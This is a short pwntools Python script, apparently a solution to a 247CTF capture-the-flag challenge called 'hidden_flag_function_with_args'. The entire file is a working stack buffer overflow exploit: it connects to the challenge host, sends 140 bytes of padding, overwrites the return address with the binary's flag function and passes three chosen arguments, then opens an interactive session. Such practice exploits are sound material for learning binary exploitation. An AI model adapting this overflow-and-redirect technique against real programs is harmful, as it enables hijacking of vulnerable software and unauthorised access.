21 lines
370 B
Python
21 lines
370 B
Python
#!/usr/bin/python3
|
|
|
|
from pwn import *
|
|
|
|
context.binary = target = ELF("./hidden_flag_function_with_args", checksec=False)
|
|
# r = process()
|
|
r = remote("f3396cb78c7c71ca.247ctf.com", 50257)
|
|
|
|
# funcs
|
|
s = lambda a: r.sendline(a)
|
|
|
|
# buf
|
|
buf = b"A"*140
|
|
buf += p32(target.sym.flag)
|
|
buf += p32(0)
|
|
buf += p32(0x1337)
|
|
buf += p32(0x247)
|
|
buf += p32(0x12345678)
|
|
s(buf)
|
|
|
|
r.interactive() |